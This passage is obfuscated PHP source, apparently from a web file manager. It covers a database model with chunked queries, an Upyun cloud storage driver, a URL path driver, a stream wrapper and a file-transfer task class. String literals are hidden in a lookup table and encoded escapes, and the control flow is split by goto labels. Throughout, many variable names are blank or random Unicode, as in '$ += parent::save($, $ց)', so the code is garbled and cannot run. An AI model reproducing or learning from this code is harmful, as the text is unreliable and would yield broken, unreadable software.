$this->optionsValue($); $ += parent::save($, $ց); $this->chunkEventCheck(count($ك)); } $this->chunkEventSet(); return $; } public function add($Ͱ = '', $ر = array(), $ŏ = false) { if ($this->addTaskStatus && is_array($Ͱ)) { $this->addTaskData[] = $Ͱ; return; } return parent::add($Ͱ, $ر, $ŏ); } public function parseWhereLike($ŀ, $ = '', $ = false, &$漵 = false) { $ =& $_SERVER[ձК]; $ӑ = $GLOBALS[$[6]][$[459]]; if (!$ӑ[$[460]]) { return $ŀ; } if (!is_array($ŀ)) { return $ŀ; } $҅ = array(); $Ҋ = 0; foreach ($ŀ as $ޗ => $) { if (is_array($) && count($) == 2 && $[0] == $[461] && is_string($[1]) && substr($[1], 0, 1) == $[462] && substr($[1], strlen($[1]) - 1, 1) == $[462]) { $漵 = !0; $㵽 = is_string($ޗ) ? $ޗ : $; $ = substr($[1], 1, strlen($[1]) - 2); $ = $this->db->escapeString($); if (!strpos($㵽, $[10])) { $㵽 = $[463] . $㵽 . $[463]; } $ώ֚ = $[222] . $ . $[222]; $ = str_replace(array($[10], $[464], $[11]), $[465], $); if ($ӑ[$[466]]) { $ώ֚ = $[467] . $ . $[468]; if ($ӑ[$[469]]) { $ώ֚ = $[468] . $ . $[467]; } } $҅[$Ҋ] = $[470] . $㵽 . $[471] . $ώ֚ . $[472]; $Ҋ++; continue; } if (is_array($)) { $ = is_string($ޗ) ? $ޗ : $; $ = $this->parseWhereLike($, $, !0, $漵); } if (is_numeric($ޗ)) { $҅[$Ҋ] = $; $Ҋ++; } else { $҅[$ޗ] = $; } } if ($漵 && !$) { } return $҅; } private $addTaskStatus = false; private $addTaskData = array(); public function addTaskStart() { $this->addTaskStatus = !0; $this->addTaskData = array(); } public function addTaskEnd() { if (!$this->addTaskStatus) { return; } $this->addAll($this->addTaskData); $this->addTaskStatus = !1; $this->addTaskData = array(); } public function select($ = array()) { $웴 =& $_SERVER[ձК]; $ = self::SQL_WHERE_IN_CHUNK; $ëʐ = $this->optionsValue(); $ʙ = $this->findWhereField($ëʐ); if (!$ʙ || isset($ëʐ[$웴[369]]) || isset($ëʐ[$웴[430]])) { return parent::select($); } $ = $ëʐ[$웴[354]][$ʙ][1]; $ = is_array($) ? $ : array(); $ۗʑ = null; for ($ = 0; $ < count($); $ += $) { $Ѧ = array_slice($, $, $); if (!is_array($Ѧ) || count($Ѧ) == 0) { break; } $ëʐ[$웴[354]][$ʙ][1] = $Ѧ; $this->optionsValue($ëʐ); $椭 = parent::select($); if (!$椭) { continue; } $ۗʑ = is_array($ۗʑ) ? $ۗʑ : array(); $ۗʑ = array_merge($ۗʑ, $椭); } return $ۗʑ; } public function delete($ټ = array()) { $ =& $_SERVER[ձК]; $躖 = self::SQL_WHERE_IN_CHUNK; $ۚ = $this->optionsValue(); $ = $this->findWhereField($ۚ); if (!$) { return parent::delete($ټ); } $ = 0; $Ƙ = $ۚ[$[354]][$][1]; $Ƙ = is_array($Ƙ) ? $Ƙ : array(); for ($ = 0; $ < count($Ƙ); $ += $躖) { $ = array_slice($Ƙ, $, $躖); if (!is_array($) || count($) == 0) { break; } $ۚ[$[354]][$][1] = $; $this->optionsValue($ۚ); $ += parent::delete($ټ); } return $; } private function findWhereField($) { $ =& $_SERVER[ձК]; $ϧ컠 = self::SQL_WHERE_IN_CHUNK; if (!is_array($) || !is_array($[$[354]])) { return !1; } foreach ($[$[354]] as $ => $߁) { if (is_array($߁) && isset($߁[0]) && is_string($߁[0]) && strtolower($߁[0]) == $[7] && is_array($߁[1]) && count($߁[1]) > $ϧ컠) { ignore_timeout(); return $; } } return !1; } public function setMasterDB($ = true) { think_config($_SERVER[ձК][473], $); } } goto C; D: class PathDriverUSS extends PathDriverBase { protected $bucket = ''; protected $username = ''; protected $userpass = ''; protected $domain = ''; protected $token = ''; protected $endpoint = "\150\164\x74\160\x3a\x2f\x2f\x76\x30\56\x61\x70\151\x2e\x75\x70\x79\x75\156\56\143\157\x6d"; public $ioUploadServer = 0; public $ioFileOutServer = 0; public function __construct($駙) { parent::__construct(); $this->_init($駙); } public function _init($) { $ =& $_SERVER[ձК]; foreach ($ as $짫Ĺ => $˕) { if (isset($this->{$짫Ĺ})) { $this->{$짫Ĺ} = $˕; } } if (empty($this->username) || empty($this->userpass) || empty($this->domain)) { throw new Exception($[1548] . LNG($[1467])); } } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } private function ussHeaders($淟, $Ō = "\x47\x45\x54") { $핧ّ =& $_SERVER[ձК]; $֥ = gmdate($핧ّ[1496]); $ = base64_encode(hash_hmac($핧ّ[1549], "{$Ō}\46{$淟}\46{$֥}", md5("{$this->userpass}"), !0)); $ = array("\x41\165\x74\x68\157\x72\x69\x7a\141\x74\151\157\x6e\x3a\x55\120\131\125\x4e\40{$this->username}\72{$}", "\104\x61\164\x65\x3a{$֥}"); return $; } public function ussRequest($˗, $ = "\x47\105\x54", $̔劵 = false, $ = false, $ = false) { $ؾ偰 =& $_SERVER[ձК]; $˗ = trim($˗, $ؾ偰[8]); $ّ = "\57{$this->bucket}\x2f" . rawurlencode($˗); $ = $this->ussHeaders($ّ, $); if ($) { $ = array_merge($, $); } $ƨ = url_request($this->endpoint . $ّ, $, $̔劵, $, $); if (!$ƨ) { $ީ = LNG($ؾ偰[1550]); $this->writeLog($ީ); return array($ؾ偰[1299] => !1, $ؾ偰[1289] => $ީ); } if (strtolower($) == $ؾ偰[229] || in_array($ƨ[$ؾ偰[1299]], array($ؾ偰[263], $ؾ偰[1551]))) { $̔劵 = $ƨ[$ؾ偰[1552]]; if (!$ƨ[$ؾ偰[824]]) { $̔劵 = isset($̔劵[0]) ? $̔劵[0] : $ؾ偰[12]; } } else { $̔劵 = json_decode($ƨ[$ؾ偰[1289]], !0); if (!$̔劵) { $̔劵 = $ƨ[$ؾ偰[1289]]; } else { if (!$ƨ[$ؾ偰[824]] && isset($̔劵[$ؾ偰[1553]])) { $̔劵 = $̔劵[$ؾ偰[1553]]; } } } if (!$ƨ[$ؾ偰[824]]) { $this->writeLog($this->__errorMessage($̔劵)); } return array($ؾ偰[1299] => $ƨ[$ؾ偰[824]], $ؾ偰[1289] => $̔劵); } private function __errorMessage($) { $υ =& $_SERVER[ձК]; if (!$) { return $υ[12]; } static $ = null; if (!$) { $ = I18n::getType(); } if ($ != $υ[1506]) { return $; } $Ƿ = array($υ[1554] => $υ[1555], $υ[1556] => $υ[1557], $υ[1558] => $υ[1557], $υ[1559] => $υ[1560], $υ[1561] => $υ[1562], $υ[1563] => $υ[1564], $υ[1565] => $υ[1566]); return isset($Ƿ[$]) ? $Ƿ[$] : $; } public function mkfile($܇, $縝 = '', $ڵ = REPEAT_RENAME) { if ($this->setContent($܇, $縝)) { return $this->getPathOuter($܇); } return !1; } public function mkdir($, $Ҹ = REPEAT_SKIP) { $Ӣ =& $_SERVER[ձК]; $ = trim($, $Ӣ[8]); if ($this->_isFolder($)) { return $this->getPathOuter($); } $ؤ = array($Ӣ[1567]); $ʓ = $this->ussRequest($, $Ӣ[290], !1, $ؤ); return $ʓ[$Ӣ[1299]] ? $this->getPathOuter($) : !1; } public function copyFile($Ȣ, $) { $Ԕ =& $_SERVER[ձК]; $úѢ = array($Ԕ[1568] . "\57{$this->bucket}\x2f{$Ȣ}", $Ԕ[1569]); $χ孄 = $this->ussRequest($, $Ԕ[255], !1, $úѢ); return $χ孄[$Ԕ[1299]] ? !0 : $this->getPathOuter($); } public function moveFile($퀄, $) { $ỏڿ =& $_SERVER[ձК]; $Ś = array($ỏڿ[1570] . "\x2f{$this->bucket}\57{$퀄}", $ỏڿ[1569]); $ = $this->ussRequest($, $ỏڿ[255], !1, $Ś); return $[$ỏڿ[1299]] ? !0 : $this->getPathOuter($); } public function delFile($Ě) { $ =& $_SERVER[ձК]; $ = $this->ussRequest($Ě, $[1571]); return $[$[1299]] ? !0 : !1; } public function delFolder($) { $ =& $_SERVER[ձК]; if (!$this->exist($)) { return !0; } $this->listItemCache = !1; $ = $Ԡ = array(); $this->fileList($, $, $Ԡ, !0); $this->listItemCache = !0; foreach ($Ԡ as $ݯ) { $ = $this->ussRequest($ݯ[$[32]], $[1571]); if (!$[$[1299]]) { return !1; } } usort($, function ($Ȃ, $ֹ) { $ =& $_SERVER[ձК]; return substr_count($ֹ, $[8]) - substr_count($Ȃ, $[8]); }); foreach ($ as $̌) { $ = $this->ussRequest($̌, $[1571]); if (!$[$[1299]]) { return !1; } } $ = $this->ussRequest($, $[1571]); return $[$[1299]]; } public function rename($Ŧ, $ݣ) { if ($this->isFile($Ŧ)) { $ݣ = get_path_father($Ŧ) . $ݣ; return $this->moveFile($Ŧ, $ݣ); } return $this->renameObject($Ŧ, $ݣ); } public function fileInfo($ȣ, $Ⱦ = false, $ = array()) { $ۿ =& $_SERVER[ձК]; $ = array($ۿ[32] => $this->pathThis($ȣ), $ۿ[87] => $this->getPathOuter($ۿ[8] . $ȣ), $ۿ[33] => $ۿ[232], $ۿ[79] => isset($[$ۿ[79]]) ? $[$ۿ[79]] : 0, $ۿ[169] => $this->ext($ȣ)); if ($Ⱦ) { return $; } $[$ۿ[233]] = $[$ۿ[88]] = 0; $[$ۿ[234]] = $[$ۿ[235]] = !0; if (empty($)) { $ = $this->objectMeta($ȣ); if (!$) { return $; } } $[$ۿ[233]] = intval($[$ۿ[1572]]); $[$ۿ[88]] = intval($[$ۿ[1573]]); $[$ۿ[79]] = $[$ۿ[79]]; return $; } public function folderInfo($մ, $ = false) { $颯 =& $_SERVER[ձК]; $˙ = array($颯[32] => $this->pathThis($մ), $颯[87] => $this->getPathOuter($颯[8] . $մ), $颯[33] => $颯[78]); if ($) { return $˙; } $˙[$颯[233]] = $˙[$颯[88]] = 0; $˙[$颯[234]] = $˙[$颯[235]] = !0; if (empty($ߐ)) { $ߐ = $this->objectMeta($մ); if (!$ߐ) { return $˙; } } $˙[$颯[233]] = intval($ߐ[$颯[1572]]); $˙[$颯[88]] = intval($ߐ[$颯[1573]]); return $˙; } private function listObjs($˓Չ, $֞ = 0, $ޢ = 1000) { $߅ =& $_SERVER[ձК]; $ = array($߅[1574], $߅[1575] . $ޢ); if ($֞) { $[] = $߅[1576] . $֞; } $ = $this->ussRequest($˓Չ, $߅[1498], !1, $); return !$[$߅[1299]] ? !1 : $[$߅[1289]]; } private function fileList($Ъ, &$, &$Ŗ, $³ = false) { $ =& $_SERVER[ձК]; $ë = $[12]; $ڕ = 1000; $褕 = rtrim($Ъ, $[8]) . $[8]; while (!0) { check_abort(); $ŵ = $this->listObjs($Ъ, $ë, $ڕ); if (!$ŵ) { return !1; } $ë = isset($ŵ[$[1577]]) ? $ŵ[$[1577]] : $[12]; $쌭 = isset($ŵ[$[1578]]) ? $ŵ[$[1578]] : array(); foreach ($쌭 as $Ե) { $ = $Ե[$[33]] == $[78] ? !0 : !1; $ = ltrim($褕 . $Ե[$[32]], $[8]) . ($ ? $[8] : $[12]); $̺ = array($[32] => $, $[33] => $ ? $[78] : $[232], $[79] => $Ե[$[414]], $[1573] => $Ե[$[1579]]); $this->cacheMethodInfoSet($, $, $̺); if ($) { $[] = $; if ($³) { $this->fileList($, $, $Ŗ, $³); } continue; } $Ŗ[] = $̺; } if (count($쌭) < $ڕ) { break; } } $this->cacheMethodInfoSet($Ъ, !0); } public function listPath($٪, $ξ = false) { $꧈ =& $_SERVER[ձК]; $· = $ = array(); $this->fileList($٪, $·, $); foreach ($· as $݆ => $ο) { $·[$݆] = $this->folderInfo($ο, $ξ); } foreach ($ as $݆ => $ο) { $[$݆] = $this->fileInfo($ο[$꧈[32]], $ξ, $ο); } return array($꧈[85] => $·, $꧈[86] => $); } public function has($, $̦ = false, $ʋ = true) { $ =& $_SERVER[ձК]; $Ӄ = $[12]; $ = 500; $ږʺ = 0; $ = 0; $ܙ = rtrim($, $[8]) . $[8]; while (!0) { check_abort(); $ = $this->listObjs($, $Ӄ, $); if (!$) { return !1; } $Ӄ = isset($[$[1577]]) ? $[$[1577]] : $[12]; $٫ = isset($[$[1578]]) ? $[$[1578]] : array(); if (empty($٫)) { break; } $А܉ = array_filter($٫, function ($Ѱ) { $չ =& $_SERVER[ձК]; return $Ѱ[$չ[33]] == $չ[78]; }); $ = count($٫); $А܉ = count($А܉); $˅ = $ - $А܉; if ($̦) { $ += $А܉; $ږʺ += $˅; if ($ < $) { break; } continue; } if ($ʋ) { if ($˅) { return !0; } } else { if ($А܉) { return !0; } } if ($ < $) { break; } } if ($̦) { return array($[241] => $ږʺ, $[242] => $); } return !1; } public function listAll($) { $ʜ =& $_SERVER[ձК]; $Ң = $ʵ = array(); $this->fileList($, $Ң, $ʵ, !0); $ = array_to_keyvalue($ʵ, $ʜ[32]); foreach ($Ң as $уޕ) { if (is_string($уޕ)) { $[$уޕ] = array($ʜ[79] => 0); } } return $this->listAllFiles($, $); } public function canRead($捶) { return $this->exist($捶) ? !0 : !1; } public function canWrite($) { return $this->exist($) ? !0 : !1; } public function getContent($) { return $this->fileSubstr($, 0, -1); } public function setContent($, $ǟˏ = '') { $ʝ =& $_SERVER[ձК]; if (!$ǟˏ) { $Ӊ = $this->ussRequest($, $ʝ[290]); return $Ӊ[$ʝ[1299]]; } $ = $this->tempFile($this->pathThis($)); file_put_contents($, $ǟˏ); if ($this->upload($, $)) { $this->tempFileRemve($); return !0; } return !1; } public function fileSubstr($, $ʟ, $ز) { $© =& $_SERVER[ձК]; if (!($ = $this->link($))) { return !1; } $ = !1; if ($ز > 0) { $ֈ = $ʟ + $ز - 1; $ = array($©[1538] . $ʟ . $©[464] . $ֈ); } $Ϣ = url_request($, $©[1498], !1, $); return $Ϣ[$©[824]] ? $Ϣ[$©[1289]] : !1; } public function upload($衘, $ѧ, $у = false, $ = REPEAT_REPLACE) { $˺ =& $_SERVER[ձК]; $闑 = IO::size($ѧ); if ($闑 <= 1024 * 1024 * 200) { $ѷ = array($˺[1580] . $ѧ); $ƕ = $this->ussRequest($衘, $˺[255], $ѷ); return $ƕ[$˺[1299]] ? $this->getPathOuter($衘) : !1; } $݅ӛ = 1024 * 1024 * 10; $ = array($˺[1581], $˺[1582] . $闑, $˺[1583], $˺[1584] . $݅ӛ); $ƕ = $this->ussRequest($衘, $˺[255], !1, $); if (!$ƕ[$˺[1299]]) { return !1; } $ = $ƕ[$˺[1289]]; $ҭ = 0; $ = $[$˺[1585]]; $ů = fopen($ѧ, $˺[1461]); if (!$ů) { return !1; } do { $ = $[$˺[1586]]; fseek_64($ů, $ҭ); $Ő = fread($ů, $); $ = 0; do { $++; $ = $this->uploadPart($衘, $, $Ő); } while (!$ && $ < 3); if (!$) { return !1; } $ = $[$˺[1585]]; $ҭ += $; } while ($ != -1); fclose($ů); $ = array($˺[1587], $˺[1588] . $[$˺[1589]], $˺[1583]); $ƕ = $this->ussRequest($衘, $˺[255], !1, $); return $ƕ[$˺[1299]] ? $this->getPathOuter($ޝʾ) : !1; } private function uploadPart($ㅚ, $ù, &$) { $ =& $_SERVER[ձК]; $ؚ = array($[1590], $[1588] . $ù[$[1589]], $[1591] . $ù[$[1585]], $[146] . $ù[$[1586]]); $ = $this->ussRequest($ㅚ, $[255], $, $ؚ); return !$[$[1299]] ? $[$[1299]] : $[$[1289]]; } public function uploadFormData($, $ўڹ = 3600) { return $this->uploadPolicy($, $ўڹ); } public function uploadMultiData($, $ = 3600) { $ =& $_SERVER[ձК]; $ = (int) $GLOBALS[$[7]][$[79]]; return $this->uploadPolicy($, $, $); } private function uploadPolicy($, $حĊʵ = 3600, $ = 0) { $ =& $_SERVER[ձК]; $ا݇ = $[8] . $this->bucket; $ = gmdate($[1496]); $ǻ = array($[1592] => $this->bucket, $[1593] => $, $[1594] => time() + $حĊʵ, $[1595] => $); if ($) { $ǻ[$[1481]] = $; } $гџ = base64_encode(json_encode($ǻ)); $ބ = base64_encode(hash_hmac($[1549], "\x50\x4f\123\x54\x26{$ا݇}\46{$}\46{$гџ}", md5("{$this->userpass}"), !0)); $қ = array($[279] => $гџ, $[1596] => "\x55\120\131\125\116\x20{$this->username}\72{$ބ}", $[208] => $this->endpoint . $ا݇); return $қ; } public function download($, $) { $ = IO::getPathInner(IO::mkfile($)); if (!($ = $this->link($))) { return !1; } $ө = 0; $웖 = 1024 * 200; $ = fopen($, $_SERVER[ձК][1544]); while (!0) { $ڕ = $this->fileSubstr($, $ө, $웖); if ($ڕ === !1) { return !1; } fwrite($, $ڕ); $ө += $웖; if (strlen($ڕ) < $웖) { break; } } fclose($); return $; } public function link($, $ɥ = array()) { $Ů =& $_SERVER[ձК]; $ = trim($, $Ů[8]); if (!empty($this->token)) { $ = strtotime(date($Ů[1597])); $ܢ = substr(md5($this->token . $Ů[286] . $ . $Ů[1598] . $), 12, 8) . $; $ɥ[] = $Ů[1599] . $ܢ; } $ʼ = !empty($ɥ) ? $Ů[76] . implode($Ů[286], $ɥ) : $Ů[12]; return $this->getHost() . $Ů[8] . $this->pathEncode($) . $ʼ; } public function fileOut($, $ĸ = false, $ɺ = false, $ݕ = '') { if ($this->isFileOutServer()) { return $this->fileOutServer($, $ĸ, $ɺ, $ݕ); } if (!$ɺ) { $ɺ = $this->pathThis($); } $ = $ĸ ? array($_SERVER[ձК][1600] . rawurlencode($ɺ)) : array(); $ӷϼ = $this->link($, $); $this->fileOutLink($ӷϼ); } public function fileOutServer($, $ = false, $ = false, $ɗے = '') { parent::fileOut($, $, $, $ɗے); } public function fileOutImage($ۖ, $ӏ = 250) { $̅ = $this->link($ۖ . $_SERVER[ձК][1601] . $ӏ); $this->fileOutLink($̅); } public function fileOutImageServer($ҹ, $ = 250) { parent::fileOutImage($ҹ, $); } public function hashMd5($Ŀ) { $ݰԤ =& $_SERVER[ձК]; $ = $this->_objectMeta($Ŀ); return isset($[$ݰԤ[247]]) ? $[$ݰԤ[247]] : !1; } public function size($ʏ) { $ = $this->objectMeta($ʏ); return $ ? $[$_SERVER[ձК][79]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($̯) { return $this->isFile($̯) || $this->isFolder($̯); } public function isFile($ݹ) { return !$this->isFolder($ݹ) && $this->objectMeta($ݹ); } public function isFolder($¦) { return $this->cacheMethod($_SERVER[ձК][179], $¦); } protected function objectMeta($ބؚ) { return $this->cacheMethod($_SERVER[ձК][181], $ބؚ); } protected function _objectMeta($ƃ) { $㛩 =& $_SERVER[ձК]; if ($ƃ == $㛩[12] || $ƃ == $㛩[8]) { return array(); } $Ƅ = $this->ussRequest($ƃ, $㛩[1602]); if (!$Ƅ[$㛩[1299]]) { return null; } $ = isset($Ƅ[$㛩[1289]]) ? $Ƅ[$㛩[1289]] : array(); if (!isset($[$㛩[1603]])) { return null; } $Ő = array($㛩[33] => isset($[$㛩[1603]]) ? $[$㛩[1603]] : null, $㛩[79] => isset($[$㛩[1604]]) ? $[$㛩[1604]] : null, $㛩[247] => isset($[$㛩[1605]]) ? $[$㛩[1605]] : null, $㛩[1572] => isset($[$㛩[1606]]) ? $[$㛩[1606]] : null); $Ő[$㛩[1573]] = isset($[$㛩[1607]]) ? strtotime($[$㛩[1607]]) : $Ő[$㛩[1572]]; return $Ő; } protected function _isFolder($) { $ =& $_SERVER[ձК]; if ($ == $[12] || $ == $[8]) { return !0; } $ݡ = $this->_objectMeta($); return isset($ݡ[$[33]]) && $ݡ[$[33]] == $[78] ? !0 : !1; } } class PathDriverUrl extends PathDriverBase { static $_cacheHeader = array(); public function __construct($ӻ = false) { } public function exist($Ӧܑ) { $Ǯ = $this->info($Ӧܑ); return $Ǯ[$_SERVER[ձК][234]]; } public function isFile($) { $ס = $this->info($); return $ס[$_SERVER[ձК][234]]; } public function isFolder($ϓ) { return !1; } public function size($욝լ) { $ = $this->info($욝լ); return $[$_SERVER[ձК][79]]; } public function info($ͅ) { return $this->infoParse($ͅ); } public function infoAuth($ކ) { return $this->infoParse($ކ); } public function infoWithChildren($) { return $this->infoParse($); } public function infoFull($۴ǜ) { return $this->infoParse($۴ǜ); } private function infoParse($ۊޝ) { $Ϧ =& $_SERVER[ձК]; $ = $this->header($ۊޝ); if (!$ || !$[$Ϧ[824]]) { return !1; } $ = _get($, $Ϧ[414], 0); $ڙ = array($Ϧ[32] => $[$Ϧ[32]], $Ϧ[87] => $ۊޝ, $Ϧ[33] => $Ϧ[232], $Ϧ[79] => intval($), $Ϧ[169] => get_path_ext($[$Ϧ[32]]), $Ϧ[1458] => $ > 0 && $[$Ϧ[1608]], $Ϧ[1459] => !1); return $ڙ; } private function header($) { $ט =& $_SERVER[ձК]; if (isset(self::$_cacheHeader[$])) { return self::$_cacheHeader[$]; } $ = isset($GLOBALS[$ט[1609]]) ? $GLOBALS[$ט[1609]] : !1; $GLOBALS[$ט[1609]] = !0; self::$_cacheHeader[$] = url_header($); $GLOBALS[$ט[1609]] = $; return self::$_cacheHeader[$]; } public function hashSimple($, $ = false) { $ =& $_SERVER[ձК]; $ = $this->info($); if (!$ || !$[$[234]]) { return !1; } $ = $[$[79]]; $ަ = 200; $ = 50; if ($ <= $ަ * $) { return md5($this->fileSubstr($, 0, $)) . $; } $ǣ̛ = intval($ / $); $© = $[12]; $ = timeFloat(); $ɴ泫 = 15; for ($ = 0; $ < $; $++) { if (timeFloat() - $ > $ɴ泫) { return !1; } $ = $this->fileSubstr($, $ǣ̛ * $, $ަ); if (!$) { return !1; } $© .= $; } $© .= $this->fileSubstr($, $ - $ަ, $ަ); return md5($©) . $; } public function getContent($̀Ƶ) { return $this->fileSubstr($̀Ƶ); } public function fileSubstr($, $ = 0, $צۀ = -1) { $с =& $_SERVER[ձК]; $ϖ = $this->info($); if (!$ϖ || !$ϖ[$с[234]] && $ϖ[$с[79]] > 1024 * 1024 * 10) { return !1; } if ($צۀ === -1) { $צۀ = $ϖ[$с[79]]; } if ($צۀ == 0) { return $с[12]; } $ۉ = array($с[1610] . $ . $с[860] . ($ + $צۀ - 1)); $牽 = url_request($, $с[1498], !1, $ۉ, !1, !1, 30); return $牽[$с[1289]] ? $牽[$с[1289]] : $с[12]; } public function download($ǁ, $) { Downloader::start($ǁ, $); return $; } } class StreamWrapperIO { private $path; private $info; private $pose = 0; static $_fopenCache = array(); static $_chunkBuffer = array(); private $timeStart = 0; function stream_open($, $ = '') { $this->info = $this->info($); $this->timeStart = timeFloat(); $this->path = $this->info[$_SERVER[ձК][87]]; $this->pathOpen = $; if (!$this->info) { return !1; } if (count(self::$_chunkBuffer) > 100) { self::$_chunkBuffer = null; self::$_chunkBuffer = array(); } if (!isset(self::$_chunkBuffer[$])) { self::$_chunkBuffer[$] = array(); } self::$_fopenCache[$this->pathOpen] = $this; return $this->info ? !0 : !1; } function stream_read($묭) { $ت = $this->fileSubstr($this->pose, $묭); $this->pose += strlen($ت); return $ت; } public function stream_tell() { return $this->pose; } public function stream_seek($, $窋) { $ =& $_SERVER[ձК]; if ($窋 == SEEK_SET) { $this->pose = $; } else { if ($窋 == SEEK_CUR) { $this->pose += $; } else { if ($窋 == SEEK_END) { $this->pose = $this->info[$[79]] + intval($); } } } if ($ < 0) { $this->pose = $this->info[$[79]] + $; } return !0; } public function stream_eof() { return $this->pose >= $this->info[$_SERVER[ձК][79]]; } public function stream_close() { unset(self::$_fopenCache[$this->pathOpen]); return !0; } public function url_stat($ƞ, $⡽) { $م =& $_SERVER[ձК]; $ń = $this->info($ƞ); return array($م[1402] => 0, $م[1611] => 0, $م[16] => 32768 + 511, $م[1612] => 0, $م[1613] => 0, $م[1614] => 0, $م[1615] => 0, $م[79] => $ń[$م[79]], $م[1616] => $ń[$م[1457]], $م[1573] => $ń[$م[88]], $م[1572] => $ń[$م[233]], $م[1617] => 0, $م[1618] => 0); } static $fileInfo = array(); public function info($) { $ħ = $_SERVER[ձК][1619]; if (isset(self::$fileInfo[$])) { return self::$fileInfo[$]; } if (substr($, 0, strlen($ħ)) != $ħ) { return !1; } self::$fileInfo[$] = IO::info(substr($, strlen($ħ))); return self::$fileInfo[$]; } public static function read($Ǖ, $, $) { if (!isset(self::$_fopenCache[$Ǖ])) { $ꄬ = new StreamWrapperIO(); $ꄬ->stream_open($Ǖ); self::$_fopenCache[$Ǖ] = $ꄬ; } $ꄬ = self::$_fopenCache[$Ǖ]; return $ꄬ->fileSubstr($, $); } public static function _read($撻ڳ, $ϊ, $) { $ =& $_SERVER[ձК]; $ = fopen($撻ڳ, $[1461]); if (!$) { return $[12]; } $ = 8192; fseek($, $ϊ, SEEK_SET); $ = $[12]; $ӫ = 0; while ($ӫ < $) { $ʃ = min($, $ - $ӫ); $ .= fread($, $ʃ); $ӫ += $ʃ; } fclose($); return $; } public function fileSubstr($Ą, $) { $ =& $_SERVER[ձК]; $ = $this->info[$[79]]; $ = $Ą; $ϗ = $; if ($Ą < 0) { $Ą = $ + $Ą; } if ($ === !1) { $ = $ - $Ą; } if ($Ą + $ > $) { $ = $ - $Ą; } if ($ <= 0) { return $[12]; } if ($Ą < 0 || $Ą >= $ || $ <= 0 || $ > 1024 * 1024 * 10) { throw new Exception("\151\x6f\106\151\x6c\x65\122\145\x61\x64\x20\x65\x72\x72\x6f\x72\41\x20\163\x74\x61\x72\164\75{$Ą}\73\154\145\x6e\147\x74\150\x3d{$}\73\x20\x73\151\x7a\x65\x3d{$}\x3b"); } $ꎗ = 64 * 1024; $շ =& self::$_chunkBuffer[$this->path]; if (!$շ) { $շ = array(); } $ = 0; $ȩ = 0; $Ծ = $[12]; foreach ($շ as $ => $Ծ) { $ = intval($); $ȩ = $ + strlen($Ծ); if ($Ą >= $ȩ) { continue; } if ($Ą >= $ && $Ą + $ <= $ȩ) { return substr($Ծ, $Ą - $, $); } break; } if (count($շ) > 100 || timeFloat() - $this->timeStart > 2.0) { $this->log($[1620], $[1621] . count($շ) . "\73\x73\164\x61\162\x74\x3d{$Ą}\54\x6c\145\x6e\147\x74\150\x3d{$}\x3b\160\x6f\x73\x65\72{$}\176{$ȩ}"); throw new Exception($[1622]); } $ = intval($Ą / $ꎗ) * $ꎗ; $뛐 = ceil(($Ą + $) / $ꎗ) * $ꎗ - $; $ = IO::fileSubstr($this->path, $, $뛐); $շ[$ . $[12]] = $; ksort($շ); $İ = substr($, $Ą - $, $); return $İ; } private function log($, $ż) { $ꈦ =& $_SERVER[ձК]; $؍ = timeFloat() - $this->timeStart; write_log(sprintf($ꈦ[1623], $, $this->info[$ꈦ[32]], $؍, $ż), $ꈦ[1266]); } } goto E; d⇯: class TaskFileTransfer extends Task { protected function startAfter() { $ =& $_SERVER[ձК]; $溼ǖ =& $this->task; $this->sourceCopyFolder = !1; Hook::bind($[1808], array($this, $[1809])); Hook::bind($[1310], array($this, $[1810])); Hook::bind($[1811], array($this, $[1812])); Hook::bind($[673], array($this, $[1813])); Hook::bind($[674], array($this, $[1814])); Hook::bind($[680], array($this, $[1815])); Hook::bind($[681], array($this, $[1816])); Hook::bind($[676], array($this, $[1817])); Hook::bind($[678], array($this, $[1818])); Hook::bind($[642], array($this, $[1819])); Hook::bind($[639], array($this, $[1819])); Hook::bind($[644], array($this, $[1819])); Hook::bind($[646], array($this, $[1819])); Hook::bind($[648], array($this, $[1819])); Hook::bind($[1820], array($this, $[1821])); Hook::bind($[664], array($this, $[1822])); $this->sourceModelCopyFlag = !1; Hook::bind($[1823], array($this, $[1824])); Hook::bind($[1825], array($this, $[1826])); Hook::bind($[1827], array($this, $[1828])); $溼ǖ[$[1829]] = LNG($[1830]); $溼ǖ[$[1831]] = 0; $溼ǖ[$[1832]] = 0; $溼ǖ[$[1144]] = $[12]; $溼ǖ[$[1833]] = $[12]; $溼ǖ[$[1834]] = 0; $溼ǖ[$[1835]] = 0; $溼ǖ[$[1836]] = 0; if (!$溼ǖ[$[1665]]) { $溼ǖ[$[1665]] = LNG($[1837]); } } protected function endAfter() { $ =& $_SERVER[ձК]; Hook::unbind($[1808], array($this, $[1809])); Hook::unbind($[1310], array($this, $[1810])); Hook::unbind($[1811], array($this, $[1812])); Hook::unbind($[673], array($this, $[1813])); Hook::unbind($[674], array($this, $[1814])); Hook::unbind($[680], array($this, $[1815])); Hook::unbind($[681], array($this, $[1816])); Hook::unbind($[676], array($this, $[1817])); Hook::unbind($[678], array($this, $[1818])); Hook::unbind($[642], array($this, $[1819])); Hook::unbind($[639], array($this, $[1819])); Hook::unbind($[644], array($this, $[1819])); Hook::unbind($[646], array($this, $[1819])); Hook::unbind($[648], array($this, $[1819])); Hook::unbind($[1820], array($this, $[1821])); Hook::unbind($[664], array($this, $[1822])); Hook::unbind($[1823], array($this, $[1824])); Hook::unbind($[1825], array($this, $[1826])); Hook::unbind($[1827], array($this, $[1828])); } public function copyMoveStart($, $ѭ, $, $ρ) { $ȡ =& $_SERVER[ձК]; self::log($ȡ[1838] . $ѭ . $ȡ[73] . $ρ); $ = rtrim(TEMP_FILES, $ȡ[8]); if (substr($ѭ, 0, strlen($)) == $) { return; } if (substr($ρ, 0, strlen($)) == $) { return; } $ =& $this->task; $[$ȡ[1839]] = KodIO::transferType($, $); $this->update(); } public function updateAfter() { $ =& $_SERVER[ձК]; $ =& $this->task; if (!$[$[837]]) { return; } if ($this->sourceModelCopyFlag) { return; } if ($[$[1839]] == $[1404]) { return; } self::updateTask($); } private static function updateTask(&$ژĴ) { $ =& $_SERVER[ձК]; if ($ژĴ[$[1839]] == $[1281] || $ژĴ[$[1839]] == $[110]) { if ($ژĴ[$[1833]]) { $ژĴ[$[1836]] = $ژĴ[$[1835]] + $ژĴ[$[1832]]; } } else { if ($ژĴ[$[1839]] == $[1405]) { if ($ژĴ[$[1833]] == $[1281]) { $ژĴ[$[1836]] = $ژĴ[$[1835]] + $ژĴ[$[1832]] * 0.5; } else { 